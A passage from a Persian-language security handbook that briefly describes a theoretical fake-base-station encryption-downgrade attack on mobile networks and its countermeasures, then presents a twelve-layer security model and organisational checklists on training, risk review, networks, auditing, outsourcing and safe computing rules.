این نوع حمله نیز به یک ایستگاه ثابت یا ایستگاه سیار دستکاری‌شده نیاز دارد. زمانیکه کاربر مورد نظر به ایستگاه ثابت جعلی اعتماد می‌کند، مهاجم قربانی را با یک تماس تلفنی مخاطب قرار می‌دهد. کاربر نیز روال راه‌اندازی اولیه را – که مهاجم میان شبکهٔ ارائه‌کنندهٔ خدمات و او برقرار کرده – آغاز می‌کند و باعث می‌شود عناصر ارسال سیگنالها طوری تغییر کنند که برای شبکه اینطور بنظر برسد که گویی کاربر مورد نظر نمی‌خواهد در تبادل داده‌ها از رمزگذاری استفاده کند. پس از تصدیق هویت، مهاجم ارتباط خود با کاربر را قطع می‌کند و با حق‌اشتراک آن کاربر، از شبکه برای برقراری تماسهای جعلی استفاده می‌نماید.

حفاظت از جامعیت پیامها می‌تواند به جلوگیری از این نوع حمله منجر شود. بطور خاص، تصدیق هویت داده‌ها و جلوگیری از ارسال غیرمستقیم درخواستهای اتصال، به شبکه امکان می‌دهد که اعتبار درخواستهای مشروع را تشخیص دهد. بعلاوه ارسال دوره‌ایِ پیامهای حفاظت‌شدهٔ جامعیت در طول یک اتصال، به جلوگیری از سرقت اتصالات رمزنشده پس از برقراری اولیهٔ اتصال کمک می‌کند. با اینحال سرقت اتصال میان پیامهای دوره‌ای حفاظتی نیز ممکن است، هرچند معمولاً چندان بکار نفوذگران نمی‌آید. بطور کلی اتصالاتی که رمزگذاری آنها غیرفعال است همیشه در برابر دسته‌ای از حملات آسیب‌پذیر هستند.

مجدداً این نکته را یادآوری می‌کنیم که این قبیل حملات بر اساس اینکه فناوری چگونه مورد استفاده قرار بگیرد همگی جنبهٔ تئوری دارند. در کل، سیستمهای نسل سوم از لحاظ فناوری امنیتی پیشرفت کرده‌اند، اما برای پشتیبانی از امنیت ارتباطات سیار، لازمست ، سایر مراقبتهای امنیتی نیز بصورت مداوم رعایت شوند.

180 *Integrity Mechanisms for the Terminal Identity*

ز. نتیجه‌گیری

باید گفت که هر چه شبکه‌ها بیشتر توزیع‌شده باشند، قابلیت استراق‌سمع و دسترسی غیرمجاز در آنها بیشتر می‌شود. بیشترین آسیب‌پذیری استراق‌سمع معمولاً در نقاطی است که کابلهای فیبر، سیمهای مسی، ماهواره و سیستمهای بی‌سیم زمینی به هم متصل می‌شوند. استانداردهای واسطهای هوایی یکی از مثالهای مخابرات مدرن و سیستمهای فناوری اطلاعات هستند که می‌توانند مورد استراق‌سمع قرار گیرند.

همانطور که *پلتن مرج*[۱۸۱] اشاره کرده، "این گرایش بازار به تداوم ارتقای کیفی استانداردهای یکپارچهٔ واسطها بوده که امکان اتصال بی‌عیب و نقص فناوریهای مختلفی مثل فیبر، سیمهای مسی، بی‌سیم زمینی، ماهواره و دیگر فناوریهای درحال رشد را فراهم کرده، اما چالش آنجا بوجود می‌آید که بخواهیم استانداردی تهیه کنیم که در عین برقراری ارتباط قابل اطمینان و ساده میان این فناوریها، امنیت را نیز فراهم کند."

یک راه‌حل ممکن، بازنگری در مدل هفت‌لایه‌ای مخابرات ISO و بطور خاص ایجاد یک لایهٔ جدید – برای تأمین امنیت لازم بر مبنای یک کد ۲۵۶ یا حتی ۱۰۲۴ بیتی که قابل به‌روزرسانی باشد – است. اینکه راه‌حل نهایی برای دستیابی به این هدف ایجاد یک لایهٔ جدید است یا می‌توان از مهندسی مجدد قسمتی از لایه‌های فعلی نتایج بهتری گرفت همچنان به مطالعه بیشتر نیاز دارد. به هر ترتیب مخاطرات خدمات مالی بی‌سیم همچنان بسیار زیاد است.

تهدیدهایی که از جانب پروتکلهای 802.11 و GSM متوجه محرمانگی و جامعیت ارتباطات شده را می‌توان تا حد زیادی کاهش داد. علاوه بر استفاده از VPNها، حفاظت از gatewayها و سرویس‌دهنده‌ها هم بسیار ضروری است. این نکته برای بانکها بسیار اهمیت دارد که در کنار استفاده از VPN برای برقراری دسترسی مجاز، روشهای مختلف دیگر را نیز برای محافظت از منابع شبکه بکار گیرند. بانکها و شرکای مخابراتی آنها باید به پیاده‌سازی ساز و کارهای امنیت چندلایه بخصوص در سطح gatewayها اقدام کنند. به موازات استفادهٔ روزافزون تجارت و اقتصاد از فناوریهای یکپارچه و آسیب‌پذیر، کاهش مخاطرات فناوری ارتباطات سیار حیاتی‌تر می‌شود. سازگاری روزافزون نهادهای اقتصادی با شبکه‌های محلی بی‌سیم و فناوری GSM باعث تضعیف امنیت سیستمهای دریافت و پرداخت شده، و این درحالی است که این واسطهای نفوذپذیر اساساً برای تبادل سرمایه‌های دیجیتالی طراحی نشده بودند. در همانحال که گرایشهای خدمات مالی الکترونیکی ادامه می‌یابد، "مدیریت مخاطرات سیار" نیز در سالهای پیش‌رو برای صنعت بانکداری اهمیت فزاینده‌ای خواهد یافت.

181 Pelton Merge

بخش سوم

فصل یازدهم
الگوهای سرآمدی:
ایجاد فرهنگ امنیت

کلیات

تا اینجای بخش سوم نقش امنیت و کارکردهای آن در سازمانهای مختلف اعم از سازمانهای کوچک و متوسط، مؤسسات غیر انتفاعی، آموزشگاهها، و ادارات دولتی مورد مطالعه قرار گرفت. در بحثهای مربوط به مسئولیت در امنیت سازمانی تأکید شد که یکنفر باید نقش رهبر را بر عهده بگیرد ولی فرض بر این گذاشته نشد که این فرد در یک جایگاه انحصاری سازمان مثل "مدیریت ارشد امنیت" قرار داشته باشد (به استثنای سازمانهای بزرگ). در سازمانهای کوچک و متوسط معمولاً از نظر بودجه و تعداد کارمندان با محدودیت مواجه هستیم و این امر باعث می‌شود بندرت بتوان از یکنفر بعنوان مدیر ارشد امنیت یا کارشناس تمام وقت امنیتی بهره گرفت. با این همه، هر شرکتی که به نحوی با فناوری مرتبط است باید یک فرد یا حداکثر یک گروه کوچک از کارشناسان امنیتی را در اختیار داشته باشد. بهره‌گیری از آیین‌نامه‌های یکپارچه، رعایت استانداردهای مناسب در تهیهٔ گزارشها، برقراری روابط هوشیارانه و در عین حال دوستانه با سایر کارمندان، پیمانکاران خارجی، فروشندگان، و مشتریان، همه و همه عواملی هستند که می‌توانند به این گروه و یا شخص خاص در اجرای فعالیتهای مورد نیاز سازمان کمک نمایند. این فصل پیشنهاداتی مشروح دربارهٔ بکارگیری امنیت چندلایه مطرح می‌کند، و یک سیاست امنیتی دوازده لایه‌ای نیز ارائه می‌دهد. بدنبال آن، منتخبی از فهرستهای کنترل امنیتی آمده که با یادآوری وظایف روزانهٔ کارمندان و اعضای تیم مدیریت در قبال ایمنی سازمان، به جلوگیری از خدشه‌دار شدن امنیت کمک می‌کند.

الگوهای سرآمدی:
دوازده لایهٔ امنیت الکترونیکی[۱۸۲]

مدیریت مخاطرات امنیتی را می‌توان نوعی فرآیند دووجهی دانست. اولین مرحلهٔ آن ارزیابی مخاطره است که شامل سه قسمت عمده می‌باشد: شناسائی و جمع‌آوری دارائیها، تجزیه و تحلیل و تعیین ارزش هریک از دارائیها، و تعیین اینکه هرکدام از دارائیها به ترتیب اولویت چقدر حیاتی هستند. گام دوم امنیت، تدوین یک شیوه برای مدیریت مخاطرات است. قسمتهای عمدهٔ این مرحله عبارتند از تدوین و پیاده‌سازی سیاستها و روالهای کاری، آموزش کاربران (اعم از کارمندان و مشتریان) و بازبینی و نظارت برای تضمین و کنترل کیفیت. یک نظریهٔ معقول بیان می‌کند که: "بپذیر که ممکن است هدف حمله قرار بگیری؛ و برای نجات خود برنامه‌ریزی کن".

سه اصل کلی که در تدوین یک برنامهٔ امنیتی باید مدنظر قرار گیرند بعبارت زیر هستند:

- حملات و آسیبها اجتناب‌ناپذیرند؛
- تأمین امنیت فرآیندی زمانگیر است؛ و
- یک شبکه، حداکثر به اندازهٔ ضعیفترین جزء خود، ایمن است.

برای حفظ جامعیت داده‌ها و کاهش مخاطرات محیطهای با معماری باز، دوازده لایهٔ اصلی امنیت باید درنظر گرفته شوند؛ و طبق تجربه مشخص شده که پیاده‌سازی صحیح هیچیک از این لایه‌ها به سرمایه‌گذاری هنگفتی نیاز ندارد.

۱. **مسئول امنیت اطلاعات** – ایجاد سمت مدیریت امنیت اطلاعات که از توجه به یازده لایهٔ دیگر در سیاستهای سازمان و پیاده‌سازی صحیح آنها طبق الگوهای سرآمدی زیر کسب اطمینان می‌کند.[۱۸۳]

---

۱۸۲ منبع:
Glaessner, Thomas, Kellerman, Tom, McNevin, "Electronic Security: Risk Mitigation in Financial Transactions - Public Policy Issues", June 2002, The World Bank

۱۸۳ برای جزئیات بیشتر به کتاب زیر نوشتهٔ Glaessner، Kellerman و McNevin مراجعه کنید:
"Electronics Security: Risk Mitigation in Financial Transaction"

۲. **مدیریت مخاطرات** – یک مفهوم وسیع بر مبنای الگوی OCTAVE – متعلق به CERT – برای مدیریت دارائیها و مخاطرات مربوط به آنها.

۳. **کنترلهای دسترسی و تصدیق هویت** – بررسی مجاز بودن رایانه یا کاربر پیش از اعطای دسترسی به اطلاعات درخواستی. در طول این فرآیند، کاربر یک نام یا شماره حساب (دادهٔ معرفی) و پس از آن رمز عبور (دادهٔ تصدیق هویت) را وارد سیستم می‌کند. کنترلهای دسترسی اولین خط تدافعی به حساب می‌آیند و می‌توانند بر اساس رمزهای عبور، نشانها، مشخصه‌های زیستی، و یا زیرساخت کلید عمومی باشند.

۴. **دیواره‌های آتش** – ایجاد یک سیستم و یا ترکیبی از چند سیستم که میان دو یا چند شبکه، مرز مشخص کند.

۵. **غربال کردن محتوا بصورت فعال** – در سطح مرورگرهای وب، لازم است هر آنچه که مناسب محیط کار نیست یا با سیاستهای مصوب مغایر است تصفیه شود.

۶. **سیستم مهاجم‌یاب (IDS)** – این یک سیستم مختص شناسایی نفوذها یا تلاشهای نفوذ است، نفوذهایی که ممکن است بصورت دستی و یا با کمک سیستمهای خبرهٔ نرم‌افزاری انجام شوند. این سیستم از *فایلهای ثبت*[۱۸۴] و سایر اطلاعات شبکه استفاده می‌کند. روشهای نظارت بسته به عواملی چون انواع حملاتی که سیستم باید بتواند در مقابل آنها دفاع کند، مبادی نفوذ، انواع دارائیها، و میزان نگرانی در مورد هریک از تهدیدها، بسیار متنوع هستند.

۷. **ویروس‌یابها** – کرمها، تراواها و ویروسها همه ابزارهایی برای انجام حملات هستند. ویروس برنامه‌ای است که می‌تواند با آلوده کردن برنامه‌های سیستم، خود را توزیع کند. تراواها خود را توزیع یا به سایر فایلها متصل نمی‌کنند. ویروس‌یابها برنامه‌های مخرب و آسیب‌رسان را می‌یابند و از کار می‌اندازند.

۸. **رمزگذاری** – الگوریتمهای رمزگذاری برای حفاظت از اطلاعات درحال انتقال و یا در معرض سرقت (از روی رسانهٔ ذخیره‌سازی؛ مثلاً رسانهٔ پشتیبان یا رایانهٔ قابل حمل) بکار می‌روند.

۹. **آزمون آسیب‌پذیری** – منظور از این آزمون، بدست آوردن اطلاعاتی دربارهٔ آسیب‌پذیریهای موجود در رایانه یا شبکه و بکارگیری این اطلاعات جهت عبور از موانع معمول تصدیق هویت و نهایتاً دسترسی به منابع مختلف آن رایانه یا شبکه است.

۱۰. **راهبری صحیح سیستمها** – این مورد باید با تهیهٔ فهرستی از خطاهای رایج راهبری که عموماً در مؤسسات یا شرکتهای مالی رخ می‌دهد و نیز فهرستی از الگوهای سرآمدی تکمیل گردد.

۱۱. **نرم‌افزار مدیریت سیاست** – لازم است که یک برنامهٔ نرم‌افزاری به کنترلِ اجرای صحیح سیاستها و روالهایی که برای استفادهٔ کارمندان از رایانه‌ها تدوین شده‌اند بپردازد.

۱۲. **طرح واکنش به رخداد (IRP)**[۱۸۵] **و تداوم کسب و کار (BCP)**[۱۸۶] – این سند اصلی‌ترین سندی است که سازمان در آن می‌گوید چگونه یک رخداد امنیتی را شناسایی می‌کند، به آن واکنش نشان می‌دهد، و آسیبهای آنرا ترمیم می‌نماید. داشتن یک IRP و آزمایش دوره‌ای آن یکی از اصلی‌ترین حربه‌های برقراری امنیت است.

فهرست کنترل پشتیبانی اجرایی[۱۸۷]

همانطور که در فصلهای قبل دیدیم آگاهی از نکات امنیتی برای ایجاد محیطی که کارمندان در آن به نحو احسن قادر به همکاری جهت حفاظت از سازمان خود باشند یک نکتهٔ کلیدی است. کارمندان از نحوهٔ برخورد مدیران با قواعد امنیتی و میزان سرمایه‌گذاری آنها در حوزهٔ آموزش و ارتباطات امنیت و سایر زمینه‌های مربوطه، تأثیر می‌پذیرند.

184 *Log Files*

185 *Incident Response Plan*
186 *Business Continuity Plan*
۱۸۷ منبع: ITS فصل سوم، *پشتیبانی اجرایی*، ص ۵۰

این فهرست کنترل برای مسئولین اجرایی شرکت که اجرای سیاستهای امنیتی را رهبری می‌کنند تنظیم شده است.

- آیا خلاصه‌های مدیریتی بطور منظم تهیه می‌شوند؟ هر چند وقت یکبار؟
- آیا از سطوح بالای مدیریت تا کارکنان خط تولید یک مسیر ارتباطی مشخص وجود دارد؟
- آیا همه می‌دانند که آن مسیر ارتباطی چیست و کجاست؟
- آیا مسئولیت امنیت صراحتاً بر عهدهٔ یکی از مدیران، مثلاً قائم مقام مدیر عامل سازمان، یا مدیر امنیت، یا یکی دیگر از مدیران سازمان گذاشته شده است؟
- آیا مدیریت با ارائه و اعمال برنامهٔ امنیتی سازمان، تعهد خود را به آن نشان داده است؟
- آیا روی برنامه‌های امنیتی سرمایه‌گذاری مناسب انجام شده و بودجهٔ مربوطه واقعاً به آن تخصیص یافته است؟
- آیا همهٔ راهبران سیستمهای مختلف اهمیت گزارش و حل سریع مشکلات امنیتی را درک می‌کنند؟
- آیا ارتقای سطح آگاهیهای امنیتی بعنوان بخشی از برنامه‌های سازمان برای کارمندان جدید همهٔ سطوح – از کارکنان خط تولید گرفته تا سطوح بالای مدیریتی – پذیرفته شده است؟
- آیا برای اطمینان از آگاهی کارمندان تمام رده‌ها نسبت به سیاستهای حفاظت از اطلاعات شرکت گامهای لازم برداشته شده است؟
- آیا هنگام تدوین سیاستها و روالهای امنیتی به واقعیتهای مربوط به فرهنگ شرکت (روابط مدیران و کارمندان) توجه شده است؟
- آیا کارمندان می‌دانند که هنگام برخورد با مشکلات امنیتی (یا در جایی که نسبت به وظایف خود آگاه نیستند) باید از چه کسی کمک بخواهند؟
- آیا بازبینی و ممیزی امنیتی بطور منظم انجام می‌شود؟ هر شش ماه یکبار؟ هر سال یکبار؟

مسئولیتهای کارکنان

بمنظور ترویج فرهنگ امنیتی، مدیران باید:

- توضیح دهند که عناصر یک برنامهٔ امنیتی خوب چه چیزهایی هستند.
- تأکید کنند که امنیت در تمام سطوح سازمان بسیار مهم است.
- افراد را نسبت به پرسیدن سؤال در زمینهٔ فناوریها و روالهای امنیتی ترغیب نمایند.
- از کلیهٔ کارکنان بخواهند در این رابطه بسیار هوشیار باشند و هرگونه فعالیت غیرمعمول (در محیط اداره یا در سطح شبکه) را گزارش دهند.
- مشخص کنند که چه کارهایی جهت حفاظت از حریم خصوصی و ایمنی کارکنان صورت می‌گیرد، و برای همه روشن نمایند که وفاداری به سازمان در درجهٔ اول قرار دارد و نفوذهای امنیتی عمدی قابل چشم‌پوشی نمی‌باشند.

فهرست زیر با هدف کمک به مدیران طراحی شده تا بتوانند کارکنان را برای همکاری در تأمین امنیت سازمان آموزش دهند:

فهرست کنترل آموزشهای امنیتی[۱۸۸]

- آیا همهٔ مدیران رده‌های مختلف به یک برنامهٔ امنیت سازمانی متعهد هستند؟
- آیا با سرمایه‌گذاری جهت آموزشهای امنیتی، از این تعهد حمایت کرده‌اند؟
- آیا آن برنامهٔ آموزشی شامل جزئیات پیکربندی و پشتیبانی امنیت نیز می‌باشد؟
- آیا برای آموزش امنیتی سیاستهای تعیین‌شده‌ای وجود دارد؟
- آیا این سیاستها کامل و به‌روز هستند و آیا کارکنان از آنها اطلاع دارند؟

۱۸۸ منبع: ITS فصل پنجم، آموزش امنیت، ص ۸۱

- آیا همهٔ کارمندان (از جمله مدیران اجرایی) دربارهٔ مسئولیتهای امنیتی خود در قبال شرکت آموزش دیده‌اند؟
- آیا چارچوبی برای توسعه و تداوم آگاهی امنیتی وجود دارد؟

چارچوب کنترل و مدیریت مخاطرات

در فصلهای دوم، سوم، و چهارم، تهدیدهای رایج امنیتی را بررسی کردیم (ارزیابی مخاطره) و روشهای تحلیل خسارتها را شرح دادیم، و در فصلهای بعدی نیز به ارائه راهبردهایی برای تدوین سیاستها و روالهای امنیتی – که به تقویت سازمان در مقابل حملات و خسارات اتفاقی منجر می‌شوند – پرداختیم. چنانکه در آن مباحث دیدیم، طرح واکنش شامل فهرستی از نتایج ارزشیابی عملی امنیت در مورد دارائیها است و طیفی از اقدامات تدافعی اولیه را پیشنهاد می‌کند.

فهرستهای کنترل زیر جزئیات بیشتری را در رابطه با ارزیابی مخاطرات و پیشگیری از زیان ارائه می‌دهند.

فهرست کنترل بازنگری مخاطرات[۱۸۹]

- آیا اخیراً ارزیابی مخاطرات صورت گرفته است؟ این ارزیابی هر چند وقت یکبار به‌روز می‌شود؟
- آیا سیستمها بر حسب حساسیت مخاطرات (غیرحساس، حساس، و بسیار حساس) تقسیم‌بندی شده‌اند؟
- آیا اهداف مدیریتی بر اساس اصول امنیتی هستند؟
- آیا برای آزمودن نتایج ارزیابی مخاطرات، بازبینیهای منظم انجام می‌گیرد؟
- آیا هنگامیکه مخاطرات باید مورد ارزیابی قرار گیرند و کاهش داده شوند، از ممیزهای خارج از سازمان استفاده می‌شود؟
- آیا تمام کارمندان (حتی مدیران و راهبران سیستم) بر اساس اهداف امنیتی مورد ارزشیابی قرار گرفته و منصوب شده‌اند؟

فهرست کنترل پیشگیری از زیان[۱۹۰]

- آیا به آنچه که در تلاش برای حفظ آن هستید واقفید؟
- آیا مدیریت نیز در ارزیابی مخاطرات دخیل بوده است؟
- آیا سیاستها به نثر روان نوشته شده‌اند و براحتی قابل درک هستند؟
- آیا همهٔ افراد به یک نسخه از سیاستها دسترسی دارند؟
- آیا کسی شخصاً در زمینهٔ سیاستها و روالها مسئولیت صریح دارد؟
- آیا کسی که مسئولیت سیاستها بر عهدهٔ اوست در کنفرانسهای امنیتی شرکت می‌کند و دانش امنیتی خود را به‌روز نگه می‌دارد؟
- آیا بصورت دوره‌ای به بازبینی می‌پردازید تا مطمئن شوید مکانیزمهای امنیتی همچنان پابرجا هستند؟
- آیا مطمئن هستید تمام اشخاصی که سیستمهای شما را نصب می‌کنند طبق سیاستهای و روالها امنیتی شرکت شما آموزش دیده‌اند؟
- آیا پیش از بکارگیری سیستمهای نرم‌افزاری و سخت‌افزاری، از رفع و رجوع تمام مشکلات امنیتیِ شناخته‌شده اطمینان حاصل می‌کنید؟
- آیا گزارشهای بازبینی را مورد بررسی قرار می‌دهید؟ هر چند وقت یکبار؟

امنیت فیزیکی: شبکه‌های داخلی و خارجی

مبحث امنیت فیزیکی در سطوح مختلفی از جزئیات در بخشهای دوم (امنیت فناوری اطلاعات و کاربران انفرادی)، سوم (همین بخش) و پنجم (امنیت فناوری اطلاعات و راهبران و فنی) پوشش داده شده است. از دیدگاه فنی، بعضی زمینه‌ها باید از منظر امنیتی تحت پوشش قرار گیرند؛ مثل شبکه‌های داخلی، شبکه‌های خارجی، و کنترل دسترسی به شبکه‌ها. فهرستهای کنترل زیر جهت کمک به حفظ منابع فیزیکی یک محیط شبکه‌ای طراحی شده‌اند.

۱۸۹ همان منبع، فصل ششم، امنیت برنامه‌ریزی نشده، ص ۹۵

۱۹۰ همان منبع، فصل دوم، امنیت مبتکرانه، ص ۳۲

فهرست امنیتی شبکهٔ داخلی[۱۹۱]

- آیا برای پیکربندی سیستمها، سیاستها و روالهای معین وجود دارد؟
- آیا این سیاستها و روالها شامل مجوزهای دسترسی به فایلها، رمزهای عبور، و وصله‌ها می‌شوند؟
- آیا خدمات غیرضروری را غیرفعال کرده‌اید؟
- آیا سیاستی برای امنیت فیزیکی وجود دارد؟
- آیا همهٔ کاربران رمز عبور دارند؟
- آیا حسابهای پیش‌فرض که در سیستم موجود هستند تغییر داده شده‌اند؟
- آیا استفاده از حسابهای کاربری پیش‌فرض "Guest" طبق سیاست امنیتی ممنوع شده است؟
- آیا حسابهایی که مورد استفاده قرار نمی‌گیرند بصورت منظم غیرفعال می‌شوند؟
- آیا بعنوان بخشی از فرآیند نصب سیستمها، وصله‌های امنیتی جدید اعمال می‌شوند؟
- آیا در سیستمهایی که پشتیبانی از آنها با شماست برای شکستن رمزهای عبوری که به سادگی قابل حدس هستند تلاش می‌کنید؟ هر چند وقت یکبار؟
- آیا مراقب تغییرات غیرمجاز در فایلها هستید؟ هر چند وقت یکبار؟
- آیا هنگام نسخه‌برداری از فایلها جوانب احتیاط را رعایت می‌کنید؟

فهرست کنترل شبکه‌های خارجی و دیواره‌های آتش[۱۹۲]

- آیا نقشها و مسئولیتهای امنیتی به روشنی تعریف شده‌اند؟
- آیا فردی بصورت منظم تنظیمات دیوارهٔ آتش را بازبینی می‌کند؟ هر چند وقت یکبار؟
- آیا کسی مسئولیت انجام *آزمون نفوذ*[۱۹۳] روی دیوارهٔ آتش را بر عهده دارد؟
- آیا مشخص است که مسئولیت به‌روزرسانی دیوارهٔ آتش (درصورت لزوم) بر عهدهٔ کیست؟
- آیا برای امور راهبری، به‌روزرسانی، و نگهداری دیوارهٔ آتش سرمایه‌گذاری مناسب انجام شده است؟
- آیا مدیران به نقش خود در فرآیند امنیت و نقش افرادی که به آنها گزارش می‌دهند واقفند؟
- آیا نقشها و مسئولیتهای فوریتی بوضوح و بصورت رسمی تعریف شده‌اند؟
- آیا کارکنان بخش پشتیبانی از روالهای پیشگیرانهٔ معینی پیروی می‌کنند؟
- آیا نرم‌افزارهای مهاجم‌یاب روی سیستمها و شبکه نصب شده‌اند؟
- آیا نرم‌افزار ممیزی روی تمام سیستمهای بسیار حساس نصب شده است؟
- آیا نرم‌افزار ضدویروس در تمام نقاط ورود شبکه نصب شده است؟
- آیا برای بهبود فرآیندها، تجربیات نفوذ به‌اشتراک گذاشته می‌شوند؟

فهرست کنترل دسترسی به شبکه

- آیا مدیریت در فرآیند تأیید اتصال به شبکه‌های خارجی دخیل است؟
- آیا کسی اتصالات به خارج سازمان را دنبال می‌کند؟
- آیا مدیران از تعداد کارمندان و پیمانکارانی که متصل به خارج سازمان هستند مطلعند؟
- آیا خدمات غیرضروری شبکه غیرفعال شده‌اند؟
- آیا پیش از تأیید اتصالات خارجی، نیاز واقعی به آنها مورد بررسی قرار می‌گیرد؟

۱۹۱ *همان منبع، فصل هشتم، امنیت شبکهٔ داخلی، ص ۱۲۱*

۱۹۲ *همان منبع، فصل هفتم، پشتیبانی از امنیت، ص ۱۰۹*

193 Penetration Testing

بخش سوم

- آیا شرکت برای کنترل اتصالات خارجی بصورت منظم آنها را بازبینی می‌کند؟
- آیا برای غیرفعال کردن اتصال افراد یا پیمانکاران مستعفی، روال خاصی وجود دارد؟
- آیا برای نصب دیوارهٔ آتش، سیاستها و روالهای مخصوص موجود است؟
- آیا برای برقراری اتصالات مشتریان به شبکه‌های خارجی سیاست و روال خاصی وجود دارد؟
- آیا همهٔ سیاستها و روالهای مربوط به اتصالات بصورت اجباری اعمال می‌شوند؟

بازبینی امنیت

در عین اینکه یک سازمان مقادیر هنگفتی زمان و پول را جهت تدوین سیاستها و روالهای امنیتی، آموزش کارمندان و توجه به مدیران و کارشناسان امنیتی صرف می‌کند، اثربخشی این تلاشها نیز لحظه به لحظه باید مورد ارزیابی قرار گیرد. بازبینی امنیتی، آندسته از نقاط ضعف برنامهٔ جامع امنیتی را که با رشد و تغییر در طول عمر سازمان بوجود آمده و یا به هر ترتیب نمی‌توانسته مورد توجه قرار گیرد را آشکار می‌کند. بازبینی‌ها می‌توانند یک مزیت دیگر نیز به همراه داشته باشند و آن اینکه اگر متخلفان بدانند که شما در جستجوی آنان هستید ممکن است فعالیت خود را محدود کنند.

معمول‌ترین اشتباهاتی که با روالهای ممیزی امنیت قابل شناسایی هستند عبارتند از:

- نصب نبودن وصله‌های امنیتی؛
- مجوز دسترسی بیش از حد به فایلها؛
- ساده و قابل حدس بودن رمز عبور؛
- فعال بودن خدمات شبکه‌ای غیرضروری؛ و
- روشن نبودن یا اعمال نشدن قوانین دیوارهٔ آتش.

فهرست کنترل زیر جهت تعیین یک مبنا برای بازبینی‌های امنیتی – چه توسط کارمندان شرکت و چه توسط کارشناسان منابع خارجی – ارائه شده است.

فهرست کنترل روالهای بازبینی[۱۹۴]

- آیا یک سیاست رسمی برای بازبینی دارید؟
- آیا برای آزمون امنیت، روالهای کتبی بازبینی تهیه کرده‌اید؟
- آیا بازبینی‌ها طبق یک برنامهٔ منظم زمانی به انجام می‌رسند؟
- آیا نرم‌افزار بازبینی روی همهٔ انواع سیستم‌عاملهای شما (Unix/Linux, Mac, Windows) نصب شده‌اند؟
- آیا برای خرید ابزارهای مورد نیاز بازبینی، بودجهٔ مناسب اختصاص داده می‌شود؟
- آیا مدیران با فراهم کردن امکان آموزش صحیح ممیزان، از فرآیند بازبینی امنیت پشتیبانی مناسب بعمل می‌آورند؟

استفاده از منابع خارجی

نهایتاً به این امر واقفیم که پیچیدگی امنیت فناوری اطلاعات ممکن است بعضی سازمانها را برای تأمین نیازهای امنیتی به استفاده از کارشناسان خارجی وادار کند. در فصلی که به این مفهوم اختصاص داده شده بود در مورد نکات قابل توجه در انتخاب شرکت همکار، چگونگی مدیریت فعالیتهای آن، و اینکه چه هنگام باید فعالیتهای آنرا به دقت زیر نظر گرفت بحث عمیقی صورت گرفت.

فهرست امنیت زیر می‌تواند بعنوان یک منبع دیگر برای شرکتهایی که مایلند از یک پیمانکار خارجی جهت انجام فعالیتهای امنیتی خود استفاده کنند مورد استفاده قرار گیرد:

فهرست کنترل استفاده از منابع خارجی در امنیت[۱۹۵] (ملاحظات فنی)

- آیا اتصالات میان ارائه‌کنندگان و مشتریان (اتصالات شبکه‌های خارجی) بصورت منظم بازبینی می‌شود؟ هر چند وقت یکبار؟

---

۱۹۴ منبع: ITS فصل نهم، واگذاری امور به منابع خارجی، ص ۱۳۳

۱۹۵ منبع: ITS فصل نهم، واگذاری امور به منابع خارجی، ص ۱۳۳

- آیا برای اتصال ارائه‌کنندگان و مشتریان به شبکهٔ شما از طریق شبکه‌های خارجی، یک معماری رسمی وجود دارد؟
- آیا یک سیاست رسمی برای تعیین اینکه اتصال از شبکهٔ خارجی در چه زمانی، تحت چه شرایطی، و به چه صورتی مجاز خواهد بود وجود دارد؟
- آیا آغاز شدن یک اتصال از شبکه خارجی، نیاز به تأیید مدیریت دارد؟
- آیا پیش از اتصال یک شبکهٔ خارجی، انجام نوعی بازبینی رسمی الزامی است؟

فصل دوازدهم
قواعد ایمنی تجارت الکترونیکی برای همهٔ کاربران و شرکتها

چهار گام آسان برای رایانهٔ امن‌تر

راه‌اندازی یک رایانه بصورت امن مستلزم تلاش بسیار زیادی است. چنانچه شما برای ارزیابی مخاطرات و تحلیل سود و زیان وقت کافی ندارید توصیه می‌کنیم دست‌کم چهار مرحلهٔ سادهٔ زیر را دنبال کنید:

۱. **مشخص کنید که امنیت برای ادارهٔ شما واجد چه درجه‌ای از اهمیت است.** اگر فکر می‌کنید که امنیت از اهمیت بالایی برخوردار است و درصورت وقوع رخداد امنیتی دچار خسارتهای زیادی خواهید شد، پرداختن به امنیت باید از اولویت کافی برخوردار باشد. اگر برای جلوگیری از بروز مشکلات امنیتی، از یک برنامه‌نویس پرکار که هیچ آموزش رسمی در زمینهٔ امنیت ندیده استفادهٔ پاره‌وقت کنید، بدون شک به استقبال مشکلات امنیتی رفته‌اید.

۲. **کاربران خود را آموزش و در تدوین روالها دخالت دهید.** آیا کاربران ادارهٔ شما از مخاطرات ناشی از ضعف امنیتی (و اینکه چه عملکردهایی از نظر امنیتی ضعیف هستند) آگاهی دارند؟ کاربران درصورت مشاهدهٔ یک مورد غیرعادی یا مشکوک باید بدانند که چه کنند و با چه کسی تماس بگیرند. تهیهٔ یک برنامهٔ آموزشی مناسب برای کاربران می‌تواند آنها را به قسمتی از سیستم تدافعی شما تبدیل کند. ناآگاه نگهداشتن کاربران نسبت به محدودیتها و عملکرد سیستم باعث افزایش امنیت نمی‌گردد؛ چراکه همواره منابع اطلاعاتی دیگری وجود دارد که در دسترس مهاجمان مصمم باشد.

۳. **برای تهیه و ذخیرهٔ نسخه‌های پشتیبان یک طرح مشروح تدوین کنید.** باید خارج از محل ادارهٔ خود نیز نسخه‌های پشتیبانی داشته باشید تا درصورت بروز فجایع جدی هم بتوانید سیستم خود را مجدداً بازسازی کنید.

۴. **شکاک و کنجکاو باشید.** چنانچه اتفاقی افتاد که به نظر غیرمعمول می‌نمود، به وجود مهاجم شک کنید و در آن مورد به بررسی بپردازید. معمولاً در خواهید یافت که مشکل از یک اشتباه و یا یک اشکال در روش استفاده از آن منبع بوده است. اما برخی مواقع هم ممکن است مشکل جدی‌تری پیدا شود. به همین دلیل هرگاه مسئله‌ای رخ می‌دهد که قادر به حلاجی دقیق آن نیستید باید نسبت به امنیتی بودن مشکل مظنون شوید و آنرا مورد بررسی دقیق قرار دهید.

بیست و پنج قاعدهٔ خاص دیگر برای استفاده ایمن‌تر از رایانه

قاعدهٔ ۱. پیش از وقوع سرقت رایانه‌ای در مورد آن بیاندیشید.

قاعدهٔ ۲. بطور منظم نسخهٔ‌پشتیبان تهیه کنید و مطمئن شوید که درصورت تهدید فیزیکی رایانه، به آنها آسیبی وارد نمی‌شود و قابل استفاده خواهند بود.

قاعدهٔ ۳. رمزهای عبور را بگونه‌ای انتخاب کنید که بسادگی بتوانید آنها را به یاد بیاورید اما حدس زدن آن برای افراد دیگر مشکل باشد.

قاعدهٔ ۴. سیستم‌عامل و نرم‌افزارهای کلیدی خود را همواره به‌روز نگهدارید.

